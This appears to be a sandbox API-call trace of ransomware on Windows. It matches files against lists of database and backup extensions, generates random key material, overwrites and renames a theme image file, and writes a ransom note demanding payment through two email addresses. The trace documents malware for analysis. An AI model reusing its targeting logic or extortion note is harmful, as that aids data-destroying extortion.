	[0086.309] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".MDT") returned 0x0
	[0086.309] lstrlenW (lpString=".SQB") returned 4
	[0086.309] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".SQB") returned 0x0
	[0086.309] lstrlenW (lpString=".vhd") returned 4
	[0086.309] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".vhd") returned 0x0
	[0086.309] lstrlenW (lpString=".bac") returned 4
	[0086.309] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".bac") returned 0x0
	[0086.309] lstrlenW (lpString=".mdf") returned 4
	[0086.309] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".mdf") returned 0x0
	[0086.309] lstrlenW (lpString=".BAK") returned 4
	[0086.309] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".BAK") returned 0x0
	[0086.309] lstrlenW (lpString=".BAC") returned 4
	[0086.309] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".BAC") returned 0x0
	[0086.309] lstrlenW (lpString=".dbs") returned 4
	[0086.309] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".dbs") returned 0x0
	[0086.309] lstrlenW (lpString=".vhdx") returned 5
	[0086.309] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".vhdx") returned 0x0
	[0086.309] lstrlenW (lpString=".NDF") returned 4
	[0086.309] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".NDF") returned 0x0
	[0086.309] lstrlenW (lpString=".dat") returned 4
	[0086.309] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".dat") returned 0x0
	[0086.309] lstrlenW (lpString=".DBS") returned 4
	[0086.309] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".DBS") returned 0x0
	[0086.309] lstrlenW (lpString=".CKP") returned 4
	[0086.309] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".CKP") returned 0x0
	[0086.309] lstrlenW (lpString=".edb") returned 4
	[0086.309] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".edb") returned 0x0
	[0086.310] lstrlenW (lpString=".PST") returned 4
	[0086.310] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".PST") returned 0x0
	[0086.310] lstrlenW (lpString=".dbf") returned 4
	[0086.310] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".dbf") returned 0x0
	[0086.310] lstrlenW (lpString=".SQL") returned 4
	[0086.310] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".SQL") returned 0x0
	[0086.310] lstrlenW (lpString=".pst") returned 4
	[0086.310] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".pst") returned 0x0
	[0086.310] lstrlenW (lpString=".dbv") returned 4
	[0086.310] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".dbv") returned 0x0
	[0086.310] lstrlenW (lpString=".SDF") returned 4
	[0086.310] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".SDF") returned 0x0
	[0086.310] lstrlenW (lpString=".dtxs") returned 5
	[0086.310] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".dtxs") returned 0x0
	[0086.310] lstrlenW (lpString=".db3") returned 4
	[0086.310] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".db3") returned 0x0
	[0086.310] lstrlenW (lpString=".OST") returned 4
	[0086.310] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".OST") returned 0x0
	[0086.310] lstrlenW (lpString=".dbx") returned 4
	[0086.310] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".dbx") returned 0x0
	[0086.310] lstrlenW (lpString=".DB3") returned 4
	[0086.310] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".DB3") returned 0x0
	[0086.310] lstrlenW (lpString=".DAT") returned 4
	[0086.310] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".DAT") returned 0x0
	[0086.310] lstrlenW (lpString=".VHDX") returned 5
	[0086.310] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".VHDX") returned 0x0
	[0086.310] lstrlenW (lpString=".ndf") returned 4
	[0086.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".ndf") returned 0x0
	[0086.311] lstrlenW (lpString=".DB") returned 3
	[0086.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".DB") returned 0x0
	[0086.311] lstrlenW (lpString=".sql") returned 4
	[0086.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".sql") returned 0x0
	[0086.311] lstrlenW (lpString=".MYD") returned 4
	[0086.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".MYD") returned 0x0
	[0086.311] lstrlenW (lpString=".DBT") returned 4
	[0086.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".DBT") returned 0x0
	[0086.311] lstrlenW (lpString=".ACCDB") returned 6
	[0086.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".ACCDB") returned 0x0
	[0086.311] lstrlenW (lpString=".fdb") returned 4
	[0086.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".fdb") returned 0x0
	[0086.311] lstrlenW (lpString=".bak") returned 4
	[0086.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".bak") returned 0x0
	[0086.311] lstrlenW (lpString=".myd") returned 4
	[0086.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".myd") returned 0x0
	[0086.311] lstrlenW (lpString=".DTXS") returned 5
	[0086.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".DTXS") returned 0x0
	[0086.311] lstrlenW (lpString=".ckp") returned 4
	[0086.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".ckp") returned 0x0
	[0086.311] lstrlenW (lpString=".dbt") returned 4
	[0086.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".dbt") returned 0x0
	[0086.311] lstrlenW (lpString=".db") returned 3
	[0086.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".db") returned 0x0
	[0086.312] lstrlenW (lpString=".TXT") returned 4
	[0086.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".TXT") returned 0x0
	[0086.312] lstrlenW (lpString=".MDF") returned 4
	[0086.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".MDF") returned 0x0
	[0086.312] lstrlenW (lpString=".bdb") returned 4
	[0086.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".bdb") returned 0x0
	[0086.312] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0086.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0086.312] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0086.312] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0086.312] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0086.313] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0086.313] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0086.313] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0086.313] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0086.313] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0086.313] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20630332186) returned 1
	[0086.313] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9d40cdf0, dwHighDateTime=0x1d60e1e)) 
	[0086.313] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0086.313] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0086.313] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0086.313] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6b90
	[0086.313] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0086.314] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6b90 | out: hHeap=0x300000) returned 1
	[0086.314] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0086.314] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0086.314] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bb228
	[0086.314] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0086.314] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.314] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb228 | out: hHeap=0x300000) returned 1
	[0086.314] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0086.314] GetLastError () returned 0x0
	[0086.314] GetLastError () returned 0x0
	[0086.314] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0086.314] GetLastError () returned 0x0
	[0086.314] GetLastError () returned 0x0
	[0086.317] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffb3bb, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.317] WriteFile (in: hFile=0x120, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0x4c45, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x4c45, lpOverlapped=0x0) returned 1
	[0086.317] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0086.317] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.317] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0086.317] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0086.317] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0086.318] CloseHandle (hObject=0x120) returned 1
	[0086.318] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5838
	[0086.318] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png.~~~~")) returned 1
	[0086.320] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5838 | out: hHeap=0x300000) returned 1
	[0086.320] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0086.320] GetLastError () returned 0x0
	[0086.320] RtlWakeConditionVariable () returned 0x365f70
	[0086.320] GetCurrentThreadId () returned 0x3a4
	[0086.321] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0086.321] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0086.322] CloseHandle (hObject=0x120) returned 1
	[0086.322] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb378 | out: hHeap=0x300000) returned 1
	[0086.323] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa460 | out: hHeap=0x300000) returned 1
	[0086.323] RtlWakeConditionVariable () returned 0x365f70
	[0086.323] GetCurrentThreadId () returned 0x3a4
	[0086.323] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".scr") returned 0x0
	[0086.323] lstrlenW (lpString=".cmd") returned 4
	[0086.323] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".cmd") returned 0x0
	[0086.323] lstrlenW (lpString=".dll") returned 4
	[0086.323] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".dll") returned 0x0
	[0086.323] lstrlenW (lpString=".bat") returned 4
	[0086.323] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".bat") returned 0x0
	[0086.323] lstrlenW (lpString=".cpl") returned 4
	[0086.401] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".cpl") returned 0x0
	[0086.401] lstrlenW (lpString=".sys") returned 4
	[0086.401] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".sys") returned 0x0
	[0086.401] lstrlenW (lpString=".msc") returned 4
	[0086.401] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".msc") returned 0x0
	[0086.401] lstrlenW (lpString=".com") returned 4
	[0086.401] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".com") returned 0x0
	[0086.401] lstrlenW (lpString=".lnk") returned 4
	[0086.401] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".lnk") returned 0x0
	[0086.402] lstrlenW (lpString=".msp") returned 4
	[0086.402] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".msp") returned 0x0
	[0086.402] lstrlenW (lpString=".pif") returned 4
	[0086.402] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".pif") returned 0x0
	[0086.402] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0086.402] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0086.402] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0086.402] lstrlenW (lpString=".sqb") returned 4
	[0086.402] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".sqb") returned 0x0
	[0086.403] lstrlenW (lpString=".ost") returned 4
	[0086.403] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".ost") returned 0x0
	[0086.403] lstrlenW (lpString=".txt") returned 4
	[0086.403] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".txt") returned 0x0
	[0086.403] lstrlenW (lpString=".mdt") returned 4
	[0086.403] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".mdt") returned 0x0
	[0086.403] lstrlenW (lpString=".BDB") returned 4
	[0086.403] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".BDB") returned 0x0
	[0086.403] lstrlenW (lpString=".eql") returned 4
	[0086.403] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".eql") returned 0x0
	[0086.403] lstrlenW (lpString=".DBF") returned 4
	[0086.403] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".DBF") returned 0x0
	[0086.403] lstrlenW (lpString=".EQL") returned 4
	[0086.403] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".EQL") returned 0x0
	[0086.403] lstrlenW (lpString=".FDB") returned 4
	[0086.403] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".FDB") returned 0x0
	[0086.403] lstrlenW (lpString=".EDB") returned 4
	[0086.403] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".EDB") returned 0x0
	[0086.403] lstrlenW (lpString=".DACPAC") returned 7
	[0086.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".DACPAC") returned 0x0
	[0086.404] lstrlenW (lpString=".VHD") returned 4
	[0086.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".VHD") returned 0x0
	[0086.404] lstrlenW (lpString=".DBV") returned 4
	[0086.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".DBV") returned 0x0
	[0086.404] lstrlenW (lpString=".dacpac") returned 7
	[0086.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".dacpac") returned 0x0
	[0086.404] lstrlenW (lpString=".sdf") returned 4
	[0086.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".sdf") returned 0x0
	[0086.404] lstrlenW (lpString=".accdb") returned 6
	[0086.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".accdb") returned 0x0
	[0086.404] lstrlenW (lpString=".DBX") returned 4
	[0086.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".DBX") returned 0x0
	[0086.404] lstrlenW (lpString=".MDT") returned 4
	[0086.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".MDT") returned 0x0
	[0086.404] lstrlenW (lpString=".SQB") returned 4
	[0086.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".SQB") returned 0x0
	[0086.404] lstrlenW (lpString=".vhd") returned 4
	[0086.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".vhd") returned 0x0
	[0086.404] lstrlenW (lpString=".bac") returned 4
	[0086.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".bac") returned 0x0
	[0086.404] lstrlenW (lpString=".mdf") returned 4
	[0086.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".mdf") returned 0x0
	[0086.404] lstrlenW (lpString=".BAK") returned 4
	[0086.405] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".BAK") returned 0x0
	[0086.405] lstrlenW (lpString=".BAC") returned 4
	[0086.405] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".BAC") returned 0x0
	[0086.405] lstrlenW (lpString=".dbs") returned 4
	[0086.405] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".dbs") returned 0x0
	[0086.405] lstrlenW (lpString=".vhdx") returned 5
	[0086.405] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".vhdx") returned 0x0
	[0086.405] lstrlenW (lpString=".NDF") returned 4
	[0086.405] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".NDF") returned 0x0
	[0086.405] lstrlenW (lpString=".dat") returned 4
	[0086.405] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".dat") returned 0x0
	[0086.405] lstrlenW (lpString=".DBS") returned 4
	[0086.405] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".DBS") returned 0x0
	[0086.405] lstrlenW (lpString=".CKP") returned 4
	[0086.405] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".CKP") returned 0x0
	[0086.405] lstrlenW (lpString=".edb") returned 4
	[0086.405] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".edb") returned 0x0
	[0086.405] lstrlenW (lpString=".PST") returned 4
	[0086.405] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".PST") returned 0x0
